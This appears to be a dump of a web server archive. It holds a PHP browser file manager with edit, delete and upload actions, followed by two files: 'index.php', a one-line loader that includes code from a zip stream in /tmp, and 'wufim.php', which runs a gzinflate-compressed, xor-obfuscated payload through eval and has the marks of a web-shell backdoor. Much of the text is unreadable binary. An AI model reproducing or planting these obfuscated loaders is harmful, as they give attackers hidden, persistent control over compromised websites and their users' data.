                if(file_put_contents($file_path, $content) !== false){
                    $message = "File '{$file}' updated successfully!";
                } else {
                    $message = "Error updating file '{$file}'!";
                }
            }
            // Don't redirect - stay on edit page with message
        } else {
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                $content = htmlspecialchars(file_get_contents($file_path));
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
                echo "<h2>Edit: ".htmlspecialchars($file)."</h2>";
                if($message) echo "<p style='color:green;'>$message</p>";
                echo "<form method='post'>";
                echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
                echo "<button type='submit'>Save</button> ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</form></body></html>";
                exit;
            }
        }
        break;

    case 'delete':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        
        // Check if this is a confirmation request
        $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
        
        if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
            if(is_dir($file_path)){
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach($it as $f){
                    $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
                }
                rmdir($file_path);
                $message = "Folder '{$file}' deleted successfully!";
            } else {
                if(unlink($file_path)){
                    $message = "File '{$file}' deleted successfully!";
                } else {
                    $message = "Error deleting file '{$file}'!";
                }
            }
            header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
            exit;
        } else {
            // Show confirmation page
            if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Confirm Delete</title></head><body>";
                echo "<h2>Confirm Delete</h2>";
                echo "<p>Are you sure you want to delete '".htmlspecialchars($file)."'?</p>";
                echo "<p><strong>Type: </strong>" . (is_dir($file_path) ? "Folder" : "File") . "</p>";
                echo "<p><strong>Path: </strong>" . htmlspecialchars($file_path) . "</p>";
                echo "<br>";
                echo "<a href='?action=delete&file=".urlencode($file)."&dir=".urlencode($requested_dir)."&confirm=yes' style='color:red;font-weight:bold;'>YES, DELETE</a> | ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</body></html>";
                exit;
            }
        }
        break;

    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
            $uploaded = $_FILES['file'];
            if($uploaded['error'] === UPLOAD_ERR_OK){
                $name = basename($uploaded['name']);
                $dest = $current_dir . DIRECTORY_SEPARATOR . $name;
                if(safe_realpath_within(dirname($dest), $root_anchor)){
                    if(move_uploaded_file($uploaded['tmp_name'], $dest)){
                        @chmod($dest, 0644);
                        $message = "File '{$name}' uploaded successfully!";
                    } else {
                        $message = "Error uploading file '{$name}'!";
                    }
                } else {
                    $message = "Invalid upload path!";
                }
            } else {
                $message = "Upload error: " . $uploaded['error'];
            }
        }
        // Stay on same page with message
        break;

    case 'download':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
            header('Content-Length: '.filesize($file_path));
            readfile($file_path);
            exit;
        }
        break;

    case 'create_folder':
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $folder = sanitize_path($_POST['folder_name'] ?? '');
            if($folder){
                $fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
                if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
                    if(mkdir($fp, 0755, true)){
                        $message = "Folder '{$folder}' created successfully!";
                    } else {
                        $message = "Error creating folder '{$folder}'!";
                    }
                } else {
                    $message = "Folder already exists or invalid path!";
                }
            } else {
                $message = "Please enter a folder name!";
            }
        }
        // Stay on same page with message
        break;
}

// Get message from URL if redirected
if(isset($_GET['message'])){
    $message = $_GET['message'];
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: Arial, sans-serif;
            background: #f2f4f8;
            padding: 20px;
        }
        
        .container {
            background: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0,0,0,.08);
        }
        
        h1 {
            margin-bottom: 12px;
        }
        
        .table {
            width: 100%;
            border-collapse: collapse;
        }
        
        th, td {
            padding: 10px;
            border-bottom: 1px solid #eee;
        }
        
        th {
            background: #007bff;
            color: #fff;
            text-align: left;
        }
        
        .trhover:hover {
            background: #fafbfc;
        }
        
        .btn {
            display: inline-block;
            padding: 6px 10px;
            background: #007bff;
            color: #fff;
            border-radius: 6px;
            text-decoration: none;
            margin-right: 6px;
            border: none;
            cursor: pointer;
            font-size: 14px;
        }
        
        .btn:hover {
            background: #0056b3;
        }
        
        .btn-danger {
            background: #dc3545;
        }
        
        .btn-danger:hover {
            background: #c82333;
        }
        
        .btn-success {
            background: #28a745;
        }
        
        .btn-success:hover {
            background: #218838;
        }
        
        .pathbar {
            background: #eef2f5;
            padding: 10px;
            border-radius: 8px;
            margin-bottom: 15px;
        }
        
        .toolbar {
            margin-bottom: 12px;
            padding: 10px;
            background: #f8f9fa;
            border-radius: 8px;
        }
        
        .small {
            font-size: 0.9em;
            color: #666;
        }
        
        .message {
            padding: 10px;
            margin: 10px 0;
            border-radius: 5px;
            font-weight: bold;
        }
        
        .message.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .message.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        input[type="text"], input[type="file"] {
            padding: 8px;
            border: 1px solid #ddd;
            border-radius: 4px;
            margin-right: 5px;
        }
        
        .breadcrumb {
            margin: 10px 0;
            font-size: 14px;
        }
        
        .breadcrumb a {
            color: #007bff;
            text-decoration: none;
        }
        
        .breadcrumb a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
<div class="container">
    <h1>File Manager - <?= htmlspecialchars($current_dir) ?></h1>

    <?php if($message): ?>
        <div class="message <?= strpos($message, 'Error') === false ? 'success' : 'error' ?>">
            <?= htmlspecialchars($message) ?>
        </div>
    <?php endif; ?>

    <div class="pathbar">
        <!-- Navigation buttons -->
        <a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">← Back</a>
        <a class="btn" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">🏠 Project</a>
        <a class="btn" href="?action=list&dir=">📁 Root</a>
        
        <span class="small"> &nbsp; &nbsp; Current: 
        <?php if($requested_dir === ''): ?>
            / (<?= htmlspecialchars($root_anchor) ?>)
        <?php else: ?>
            /<?= htmlspecialchars($requested_dir) ?>
        <?php endif; ?>
        </span>
        
        <!-- Breadcrumb navigation -->
        <div class="breadcrumb">
            <a href="?action=list&dir=">Root</a>
            <?php foreach($dir_parts as $p): ?>
                › <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
            <?php endforeach; ?>
        </div>
    </div>

    <div class="toolbar">
        <form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;">
            <input type="file" name="file" required>
            <button class="btn btn-success" type="submit">📤 Upload</button>
        </form>

        <form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;margin-left:8px;">
            <input type="text" name="folder_name" placeholder="New Folder Name" required>
            <button class="btn btn-success" type="submit">📁 Create Folder</button>
        </form>
    </div>

    <?php
    $files = get_file_list($current_dir);
    if(empty($files)): ?>
        <p><i>No files or folders found in this directory.</i></p>
    <?php else: ?>
        <table class="table">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Type</th>
                    <th>Size</th>
                    <th>Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach($files as $f): ?>
                    <tr class="trhover">
                        <td>
                            <?php if($f['type'] === 'directory'): ?>
                                📁 <strong><?= htmlspecialchars($f['name']) ?></strong>
                            <?php else: ?>
                                📄 <?= htmlspecialchars($f['name']) ?>
                            <?php endif; ?>
                        </td>
                        <td><?= $f['type'] ?></td>
                        <td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
                        <td><?= $f['modified'] ?></td>
                        <td>
                            <?php if($f['type'] === 'directory'): 
                                $next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
                            ?>
                                <a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">Open</a>
                            <?php else: ?>
                                <a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Edit</a>
                                <a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Download</a>
                            <?php endif; ?>
                            <a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Delete</a>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
    
    <div style="margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;">
        <small>
            <strong>Security Info:</strong> 
            You can only access files within: <?= htmlspecialchars($root_anchor) ?>
        </small>
    </div>
</div>

<script>
// Simple confirmation for delete links
document.addEventListener('DOMContentLoaded', function() {
    var deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
    deleteLinks.forEach(function(link) {
        link.addEventListener('click', function(e) {
            // Let the server handle confirmation - don't prevent default
            // The server will show a confirmation page
        });
    });
});
</script>
</body>
</html>index.php000064400000000150151531126630006363 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "file.php"; include("zip:///tmp/phptpd9aH#$h");?>wufim.php000064400000277147151531126630006431 0ustar00<?php
/**
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⡿⢿⡿⠿⠿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⡿⣿⣿
⣿⣿⣿⣿⠿⠿⢿⣿⣿⠟⣋⣭⣶⣶⣞⣿⣶⣶⣶⣬⣉⠻⣿⣿⡿⣋⣉⠻⣿⣿⣿
⣿⢻⣿⠃⣤⣤⣢⣍⣴⣿⢋⣵⣿⣿⣿⣿⣷⣶⣝⣿⣿⣧⣄⢉⣜⣥⣜⢷⢹⢇⢛
⡏⡦⡁⡸⢛⡴⢣⣾⢟⣿⣿⣿⢟⣾⣧⣙⢿⣿⣿⣿⣿⣿⣿⣿⢩⢳⣞⢿⡏⢷⣾
⣷⣵⡇⣗⡾⢁⣾⣟⣾⣿⡿⣻⣾⣿⣿⣿⡎⠛⡛⢿⣿⡟⣿⣿⡜⡜⢿⡌⠇⢾⣿
⣿⣿⠁⣾⠏⣾⣿⣿⣽⣑⣺⣥⣿⣿⣿⣿⣷⣶⣦⣖⢝⢿⣿⣿⣿⡀⠹⣿⣼⢸⣿
⣿⣿⢰⡏⢡⣿⣿⠐⣵⠿⠛⠛⣿⣿⣿⣿⣿⠍⠚⢙⠻⢦⣼⣿⣿⠁⣄⣿⣿⠘⣿
⣿⣿⢸⢹⢈⣿⣿⠘⣡⡞⠉⡀⢻⣿⣿⣿⣿⢃⠠⢈⢳⣌⣩⣿⣿⠰⠿⢼⣿⠀⣿
⣿⠿⣘⠯⠌⡟⣿⡟⣾⣇⢾⡵⣹⣟⣿⣿⣿⣮⣓⣫⣿⣟⢿⣿⢿⡾⡹⢆⣦⣤⢹
⣅⣛⠶⠽⣧⣋⠳⡓⢿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣫⣸⠏⡋⠷⣛⣫⡍⣶⣿
⣿⡿⢸⢳⣶⣶⠀⡇⣬⡛⠿⣿⣿⣿⣿⣿⣿⣿⠿⢟⣉⣕⡭⠀⢺⣸⣽⢻⡅⣿⣿
⣿⡇⣾⡾⣰⡯⠀⡗⣯⣿⣽⡶⠶⠂⢠⣾⣿⠐⠚⠻⢯⣿⠇⠎⡀⣳⣿⣼⡃⣿⣿
⣿⡇⣟⣇⡟⣧⠀⡗⣿⣿⡿⢡⢖⣀⠼⢟⣻⣤⣔⢦⢸⣿⢀⢆⢡⣿⣯⢹⡃⣿⣿
⣿⡇⡏⣿⡾⣸⣿⣇⠸⠟⣋⣼⣼⣿⢻⣿⣿⢿⣟⢾⣌⠫⠈⣶⣿⡿⣩⡿⢃⣿⣿
⣿⣷⡀⠻⡷⢪⢧⡙⠰⣾⣿⣿⣾⡽⣾⣿⡿⣺⣵⣾⣿⡇⡜⣽⠟⢷⣪⣴⣿⣿⣿
⣿⣿⣿⣾⣿⠏⣤⡁⣷⣽⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣱⠸⣱⣦⠙⣿⣿⣿⣾⣿
**/
$sokaki = "\xb9\132\232\x66\155\250\145\156\x72\x6c\x5f\x87\245\xf2\6\310\134\x86\x9b\x2\x77\321\x12\xb5\x9f\xfc\24";

if (function_exists("user_super")) {
	pcntl_signal(senia, berika);
	pcntl_signal(larva, berika);
	pcntl_signal(mojika, berika);
	pcntl_signal(matisu, berika);
}

eval(("\147\172\151\x6e\146\154\x61\164\145")("���OSQ���•{77�\$}<p�	��w&	�VHHIZp�!AJ)�-,PZmi��L“y(C  D-��R�2|�`twn�����s�	�Žv��&�&�P��U�f��9�ͪ]uAk���H�sK<��Ζ���]�v��m�:<+w�(i�A����*�{)����8sĮ���8(P�3�zrT@�,8��*�I��@��R�5{B� �uH��s�κ�~bg�J[c��q}����%�xz����
>���ij|����Al����c�R�B�K�m	\"e �M{B�乷-}���!��bqj�|liq��
4�&&��p��y/J���ų۶|[�eG{�kk�G2J�6��O�����2�b��j�m�7��c��NM�6Yc�P_���ɼ�P�am���hA�֐�u��<����&�T�~,m��]v�G��TeM6�Ԕ����6�7糧y�k�{�h�8�n0���kU��z���T5�9��6GU8�:�hr:����i��|X�����c�.]��)�s�eeRWԯ��ߛ�쒂���P�?k��wqX�Ӗ�}�d�t[ぃ��y:�&Vu��aI��j��rB�AJ�� I��}��A�D!;E��
�C���ǂ.A4�I�0��	�q8:h�å(���X!%ƅ��B�Ń%i3:���je=�X�^Y�B�'�ř�e�i��/@н�x��t�uh��� �t���2��wED�1�DAg��H\\8���IwI�!�(,�(�OL��Q 1	�k�§C>�?�� t� �p?�p���c4��,�Qu�@�wI�������v����քK�lM!/5M(@/ғ��T\\�Gv�;�"))xor${"a�����������٩�ߋ������������߽�������������
����τ��챉�۞������ϕ

���掦����������ɰ���„������
������֠����ה������ʰ��
����俌ľ��Ť������ͦ�����¹�˜����������Ю�����ߍ��Ĺ�ΊΑ������Ø�ݶ�����������Ȫ�������Ɍ�����н����ؽ����ރ
���ې����ϸ����䃚��������������	���ê��������������������������
����ݶ�����������޽�
��������������Ʊ�����������
�������و�����ޕ�������	�����
�㘀�ˠͣ喉�����������������������������݌��	��쨐�م˄��������������Թ���������뗝������
Ϭ���������Ä͙
��	�������С��܌��	կ�����������ӯ��
��������Ǖ����������������������������߷���íݿ���������ԛ���������ú	�����Ȱ���ܮ�����͹����좒�ٙ�����ք
�����ⓏŐ����Ҩ��������ޭ������
櫿�������������
�����������˛��ݵ����������	�������Ϩ�"}=_͐��("
�ip�cDRP.")xor/*c�*/${"b�������ƥ�ܜ������Л���㆘�������	��ɴ�Ʈ��Ɔ����������������ڀ������ʿ��ߛ��̬����������
������
Ù����£������
	����������҇���㍖����񌟭�����Ч�������ާ������ޑ��
��������̷��ú����
�㈐������…�������������˜��󢾢�ǵ����ɭ���ʔ�������Ę�����������駗�������Ҳ�Ȣ��������������
����������ˮ���������
�����֛���߂���·�忾�������ο����������������������ȃ����ˏ���򣧒ٳ�����
����������ɯ����������苣�������º����
������ʕ������������ۮ��ص��Й�����ش�Ē��
�������Ź��������Ů���҇����������ز�ؑ������ν����������鉟	����㼂�����΢�ɴݓ�ՍϿ�����������Ն
�����
���ʄ���ʕ������������ȝ�ԍ�Ã�������ȃ������	�����˄�ʏ������׈����������������ݢ���������ҿ������̳�컹�����������������⺬���	�ɵߙ��ǟܠ��۽���ؐ�������������›�"}=_͐��("�8�ɾ7֡_")xor/*c�*/${"d�ǀ���ư���������
�ᥧ��������������������DZ
����ͯ������������ǃ�
�Ɇ�����ž�ݫ��
������
�ͭ������ъ��˿�樋�뫾��������������ͯ����͒�˜�����ֱ��ϵ�����Ѽ��Ҡ�����Ҏ����ڐ������燶�����Й��ՠ�ݞ�	�̇�ֶ		��������澭�
��������
���
��������������⯴���

²��ο�������������Ľ���ۅ�Ɖ���ζ�����侙ʻ�����ٝ���ۈ�������	�ˀ�������Ŷ��섞�Ý��
���̪М������Ĉ��	��������۴����
������ڭ�����ͺ�
������ŖՉ�������ֺ��Ά꛻��
��ěԝ������
����
������ݼ��������嘙��������ּ����Ƀ��踟����ߐ�����	��������􄢳����К�����
���������	������������ш����蓚���
땜��޻������������������������õ��
������ު۹������
�딫ާ����
��ǚ�۷إ��څ��꓋����ְ��ሎ��街
���Є�ɫ��	��Ë���͸���꜡���͍�͋�������������ֱ��������
�nj��������������������ܺ����"}=_͐��("�;q���S3�")xor/*c�*/${"e������	����ʿ���������ϓ��̺�������ɬ�����ΐ����ꜳ�ε�����Ţ�������ۃ����΢��͍�ʎ���Ş������������
�����ņ�����ɴ�͆��ֹ���������������쌕�����Ŷ��������䎫��������
���ԗ�������͝�����ګ�������������
ܖ����΍������������㦵������	�����ݜū�����ϝ���������Χ����������	��֏�ә������Ǎ���̳�����Ⱥ�����������	�⠽����
�����֢���������漾�Α�Ǻ��늍ֆ����В�����←����å꿛��Å��Ҹ�������ް�����������﷋מ꧔̕��
���螞�÷���ʤ�����ʦ�Ɵ��Џ�����ȕ������������Ң�؍��������ͷ�汑�����Ƒ҉�������������Ŗ�ծѮ���������֖�������ڨ�å�Ǿ��ȉ���Ŀ��������Ȁ������ᄋ��Ȥ�
�ђ����ξ�����	���������Ԥ������
�����
����駨�����������������ϕ������
���������ㅁ��������ij
������������������ݣ������̜�ц۪�����մ�������ʬ����������↝����������Ӝ���܇��"}=_͐��("1j��FnIq���")xor/*c�*/${"f������٢ѣ����������¬�����������ݜ����ˇҪ�������������ǖ��������������ꭧ����������ޖ����������玥�����ߏѠ�؞���	
����������ӡ�����ɫ��������ӝ�������������������
���ك�����К��������Íٳ����ح�������������習��遗ĕﭘ��ʋ����е�����蠜�����ֻ���������⏝������Dz��ߪ���������������ɭ�����ݶ�����������쓂ᡩ�
����ޛ�Ȓ欛����׆��߄���ꅉ�
���������	�������
�������������у�������斲��غ������ۿ���Ŏ���ŵ�ϓ������꯴�ɱ����ȋ��Ë������ĭ��Ң����ϖ����˒����������������ŋ�
���
���ֳ��������Փ��屵ԭ	�˹��Պ����������
�������ܶ�Ĵ������Ĕ��
���̨����㝣������ẝ
��𔶦�����ԫ�����Ǫ�ƾÿ
�	�������ے����
���ϐ����������ݘ�����������������
�ޒ����������ŤǦ��������ܕ������ܳ����ܧ�ܕ����҅�Ÿﶗ�����ԁ�乓�������ɉ������"}=_͐��(";�N�g�G�%��")xor/*c�*/${"g�̅��Ϧą���������ӕ�
������ڝ�����ڪ����А�͹�ݠ�́���������Ծ��	�������ǭ�����Է��̏���˫������Յ�ۅ�����	�߶�����������佇�ڬ������׆�Р�����
�
�҂���������
�����ت�	�ԅ����������
����ҹ�������������׽����󋃘��Ϸ̻ꌌ��
ک���ޔ��
ޙ��ڮ�ʸ������	���ןڎ������Ȃ�ӧ�ʽ�����ܸ�������������Һ�����	������ѿ���������������������ƣ��˻���
�à���ɝ����������
���ٓ����򻄧���������
��漕��܉���ν����������ȹ��������仡������������ՠ����	�Ë����������������������ŧ������׵�ɡ󏊜葂�ػ���	����������������
����������¡��ƁҊɦ�����������������Ǘ�������Ó������錍���Ҭ����
����Ĕ��˵��
�ò����ڇ���������ܢ����Ѳ���������ե��	����𫌋�������������􋐤����Ȩ�����䮵��ߩ���Ó����������ˮ��
�����鼈����������꡸��������
񖳞�����є�����Ǯ����½�������������"}=_͐��("E�x�^���h�ҿ�")xor/*c�*/${"0�����끑��
��	���τ��͋�����������В�
��������������ڥ톙�����᪺���������������Ղ��º��"}=_͐��("v\"�.@;�;h�")xor/*c�*/${"h���ܵ�������í���غ�Ȑ����Ƭ����������ü�
ǔ���������Ո�Ν����ᵌ��������������ܮ������ց�������颈ˢ��ֈ�����ф���������������޾��������ڃ������א�������������������˖��ܶ�غ��Ǻ�൶���Ǝ����������
���ۙ����������������������֌ԣ�ƒ�����э����ş�����۫����𔴳��������
�ʧ�ĸ�ն��������Ҙ���������������
������Է��
�����������������������������瑒�������Ĝ��
��Ǖ�	������������ʦ��	�����������䥻���Ũ���ݘ������Ԧ���������ċ��𭂯��������븜ﵥ����ƤÂټ����
����Ɛ��������󯗱���������������Ġ�����
�������ǿѢ�紒�����������ڙ�����Ҟ�������⒣�����������ך�������ɼ���ʀ���
됼�����������қ���������ǟ���������������������|��
��Ǭ�ҏ���ރ��‡��
������䠻�������������Ɇ��
�����������˙�����ɫ�����̉����󸃘�����������ᅲ�����������"}=_͐��("� �n��B�!5[�A㣉�л�&�")xor/*c�*//*�c*/$�������=__COMPILER_HALT_OFFSET__ xor/*�c*/eval(_͐��("5�f�K�>�P+��
]�G��K<(�.�6m[w����-�Ž��Q�%ϖ[N.����-�>���\"L\\�?�e��\"�6N|�.��)�5�R�CB��79s�x��mD�A�f�^�\"E/��Q7*x	B�w�r�!���y��mh]Q�!�j���MR����V�Z�H>�<--��S2#P�c�?�a��GJ#�}x���@� ‹`ǜ�2c k���:��\"V����	�z��!�B����]u�Q?��j�櫸Z��轪�6j�H���
V��.z�>�*��g?��;�q���3qM
��+��Zwm`��C��ؼ�:�\"�Pp���>�35����}a�� �p7�&o.^�!>�,E��}�ލd���Y'/ŚKs�@2*r*.�k�S
DBO�=�;��l��.(�VȌ���2DIƎ��
�r��Z�(M5���ˈ�F��Òn�
�8�u�]�4������8�B
�ԕ�j�M��!�ɢCb~+`���=�nM�����]��
�,5�
������>�&`�\"�B^��zw��C��W���}!�T+d�P͞�s���<K��1�������
�8dk�hd�@ΜG]��`����T8�_��!�μ�[���J��[�L��g��ʁ�����p>�G�n�`����>��㇮}�W�Q�Ir� \\<`����d��+1m��#�n��*��I�d)�W�B}Cݷ���<���V���+Q���}�Ѓ��y��j�K��Cj�WWƈ�M��]��I�a-��砮�@��`b�@&U��h�_�!:��\\z�R���5:i�=|�;��W����87���*	�v�
�K�'k6�s��5�	��l�#�s[,
�X�ܓ���;�FN��~t�a/׼���Kʩ`]�%�5���V�XiI�
ns�SJ�2�N�_v3��	�f�f*�Ú�p�A������C��o�7�S��s9�jb�z�;�Qآ��(�#�����n��LP&���5��-�EE
@~���iD{�kb�M�S����D��{�-Y�	����Id
�y��Ȋ���
5�-6��T�\"Y�b���bt��w-8���L��\$�/x�8#�	�R��TL#\\c+�,�87XT�7h\"�&���:���XP7~\"S�r(_u�D���^���YjD�8*V2�W-d��r���{�O�U��q׶�h��fRu�Sp6��
߸�b�񼒿b�'jG#t�53hh?6�����v6������`	3~>,Q�a_+�,�He�DF�)�_���\\\\ ��9վd5&��bs��Tk�Ӷ��ZG�4��Oi[4}�ֽ�0I6ԧ4u)��J��F�f�qb͚j��h���sm���k;�aoj�(WP,�VV�O1Z�]ԟ���E\"/�\"��D]P�g�AH�s�r)��J��7��� ��*a�=+����8��}�
�|��F��Hz�6��%5�#��+��d�8\$PCx�l�L<岖�Es�
�E��m��0
;	�h�>�0h[Ee��`�x����-G�)!e����Os���%�����8:�ߧ@�,H<��wa��T��Œ&���N�%�X����r'�iV�W�A'��d��V��Rx_/,r:�'�ײ3w���Cs�<�Y�.J~}t����������\\w#e���?i]��vn���Put.��	|�0/�!��b�;@u��Fq�*�—'���ֲ��t�_IJ����}(�����<#�-\$;����Pb�S��y;4Q�95����xG\\Y�k7�P�(��i���.��ӵt��W�ڹ�-�[�\\�υH�Y�&B���B���
��l��ڷ��O�P�E�{�
q�5�:v��	��ӥ�*��'�I*?/����l��I}��QCf��6�'W6�5��k��ܢ�G�>��'H�kh��@L���A-'	ݣi�V-G�Tm�hH6H�\$�
���Y0��_G�*P�����#�ub���u���/[G��o����=;(mV��7��e�̭���14T�ɀ�-���T�*�M-y��eguw�y^��<9�a��ca�B)Ύ�Ƹ	�M�oP�]�K������Tnh�b�|����x�
R�y8���I՗�#)�
��w��ĈvL*	hX�I��Oժj�U�d{�ț
�%N�@�
�MK%�C�n��Vwh��V��K�-د��q�i3��{:�U��z��#���8�́ѹ{�P�v�>\\�nx�O[{Jay��z7�Q�܁:���i��#j�M�V0�C����Y����A�'t�rF��ؒ���&O�ٱ�(D_���^��h1;\$��
�(��&���i�Z���|㶹��S��v�:Xn��H����IG�d��FGBE�«�3K�g{�R���rN�k����i��h�\"�52�N����):S�7���7�!��h�FC�F1޳����F�5:��=�%�hN���П��BZ�Q1���)r����P��V|�1f�1R�
�����@,~I{NW[�R���h
��K[w�yJ���ܰTw��۳;x�����n�2��WE[ж�:���rr������>C��(D)t�1�H��M�̱d`�����8����_t��j\\sN��_ma��.�e�~@<E��=Q+:Rc�Z��Ğ0X���1�J������B��s
#��q����,�8�����#!d, u�����b'�������V%�N̪�\"s4Kk�5�؃�c�'.����TǸ�w6#ײ\\'�;O���,��3�_�䈜�����(���
e+��2�Ƒ�ɻ�uJ�d��,����K�+E(f|߼�S3�3�5��_���.G�>���>�&x�,9��,�T�+�(��.JU���ֺty��>8VK-�I����/�	�,p�U��yS�: �R�x3l�3���/�f��I��91��na�����4�,3��FT9z=�9��\"����h���*LMxe(|�:�g��z-�<4Ї���Ro�w����5sDZ#ݻ��G\\���E��WN�h����.0��iB��ǭ���cI�<��2�[^��Ɯ�m!f��Ɲ�wK>�]�-C�!1���`ԝ}%�<�;�k�G�5�N�Bs��������W��#�m���-L\"g��}6n��F�j\"�4�����%4Z��y�y�󜏡
�:�j'���s�0D'.�o���۫��|��3�tli����+��oA��Mњt��4�<�laxܥ�l�kS0��37���OEm�f�	���8�\"!.���9.�M�Yc��i���o&��`�t���!�)�'B�^>���̣rQǜjцd�3��v�>9�(qÖ����#@�t!��Y(53`5����ؔ�i�+��^�hCh{��pB���H���M
7�,K�q�o�b�%*d~�ω��h�q���q/z���Uu�����9o˹��RLg[E\\�W�;����#�ń���+��HD2�r�q1��`��No�1V�wq8��\\
LE,�#W|M����Y����=��'��
���{�25���ɖ0��5�	�PD{�e����2�{��.��TyX8�tzxMwDu&�(Af�!�𔐰����j�_��F���ʜ�Ջ-�*�5�1�d��1�
���u�߂�
�):<���;eK�&\"&�32���W�25YU�H����x�ģ��\$��_�()��3\\�؞�QA��\"dHb\"����C�(��7�-K�n�9�,��[�O4&&�6�B�8�#>h:3Sc����Sh4~�~G
���E5C\"�!��BN��;�A��qa	��)��*`����w^�����V���>��z�hH:�Zj)���*钴���v>�
(vS���N��=�n�DE������d�!�B�Gr��l%~�Z�Lօ�?+�G�3�9>�]�+D�A�X��e�|\"	��N��j��J@'��5��i8{��� �C���K��NICi�+-��vSڐ��l�O����>���.�]|� .v^��mrm��pb�?���e��~�cr�f	�F�&<����!V�ص@��`}�A��e{mv�j���?bi��.�������h́�6S#���~v�9~5ܞ_��R�L�O���K���6�.\",�H�V�����E]fD��� ���9�C�p��;r�þU�#X�;�`��ƭ��0�u�1 �y���>&O��\\�w\\�{��a=M-!x75� �ك�P79���L�r��؄��9�*S�&a�ǞZ}ѩ\"_	0ؙ�L�]� ����B67�1.��3K�
�J�D��5���� ��.W]��G�e�(��<����#�7v
;�4(��?z�&C�H7�KZ��1�ؠ�����%�[-��of�ɽp8�:�\$��Em�|�h�J\\�Նl�ߖ�0㼼�u%�Vޝ_�>�����@ub�Y3���:�.�A3,��!7~�.qd���UE5�@,}��:{�d�l� �SQB�U���k��7\\���b�F�wJ
���&:}��搚'��x���\"J����ڵ�Xϊ�d0�۔��rge�]���B�˧���k�5�Z\"�Xm)��釈x%�����������-	�5B��ֺ��G�������8��_N��YO.��鍲{M�����?ljg�o#�!�!P���ne�7h�-�C:s ��o�SB�ҋ�̙�^I�0��C�������{5z�:��ڼ������lj7��.�=ckZ�x�����^e�~����:�:Ɋjm�aKn��v�U9JX�B��G�>(�����:wb�;��N�p��m��\".+M#��S�?C�ݶ��g
���}�+�O\$�kwr.Y�)d���\$�)ܷ�[��0Y4��0�O��'z(�X�}`g�CE�\$�CZc�δ��y=#�]��a�0Yvz{,�ڎ-~E����쁤.}�	x��zNx�M?�X�ԕ�\\�qj�A�)�g*Y��t�9^��ׅU�\\���!��R�(��U�,�5,�5����l9XM�b9��>�J*0����\\`/��b/Q�	}��m�ƽ�h+����G�=�^ݫb�MIp��sTO�
Ŷ-#��8�|��%v9깾��N� mG���k[ōÀ���i8��ޙ�+j����	4�׍0�����w�Mqo���̓��h�o��w���_�ub�'��t4�Nf9����wu���&�ߕ`n�3
\"gt��n)�l��'���~��C�؄�Ц���G��4�c-��,���Zj�C,��j:^�mw巅�G���}X�˶�C��3#6
�����hWr�QZ�?< ���N��
Nx��1�'���H`G�j;�V�4Ԅ�|}/auN��ڍ:��aG{8pwMx��Z�&�#��9t]�^Ċ�p��0<	�)U��n�K�{G�b
